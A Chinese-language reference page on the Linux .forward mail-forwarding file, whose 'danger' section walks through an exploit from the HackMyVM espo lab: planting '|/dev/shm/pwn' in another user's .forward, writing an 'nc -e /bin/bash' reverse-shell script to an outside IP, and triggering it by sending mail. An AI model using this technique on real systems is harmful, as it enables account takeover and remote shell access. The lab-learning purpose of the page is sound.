Skip to main content

Linux 用户家目录

.forward

.forward 文件是用于电子邮件系统中的一个特殊文件。在 Unix/Linux 系统中,.forward 文件位于用户的主目录中,用于指定接收用户邮件的邮箱地址。当有邮件发送到用户的邮箱时,邮件系统会首先查找用户的 .forward 文件,如果存在的话,系统会将邮件转发到 .forward 文件中指定的邮箱地址。

.forward 文件通常包含一个或多个邮箱地址,每个地址一行。邮件系统会将邮件发送到这些地址中的每一个。

这个功能对于用户希望将邮件转发到其他邮箱或者集中管理邮件非常有用。例如,用户可以将自己的邮箱设置为 .forward 文件中,这样所有的邮件都会被转发到另一个邮箱,实现备份或集中管理的目的。

danger

.forward 文件中通常包含一个或多个邮箱地址, 但是也可以可以使用一些特殊的设置,例如使用管道(pipe)将邮件传递给另一个命令或脚本处理

其文件内容大致有以下几种:

使用管道将邮件传递给另一个命令或脚本处理

| /usr/bin/procmail

对于第二种方式存在一种漏洞利用的方法, 当可以在用户家目录中添加一个 .forward 文件时可以先其中写入, 其作用是将邮件传递给 /dev/shm/pwn 脚本来进行处理 (可以查看 HackMyVM/espo 来实操)

(remote) www-data@espo:/home/mandie$ cat .forward 
|/dev/shm/pwn

之后编写 /dev/shm/pwn 文件内容, 先其中添加一些内容

(remote) www-data@espo:/home/mandie$ cat /dev/shm/pwn 
#!/bin/bash
nc -e /bin/bash 192.168.0.104 4446
(remote) www-data@espo:/home/mandie$ ls -al /dev/shm/pwn
-rwxrwxrwx 1 www-data www-data 47 Apr 16 14:25 /dev/shm/pwn

随后先指定用户发送电子邮件触发命令来执行

(remote) www-data@espo:/home/mandie$ echo pwned | mail -s lol mandie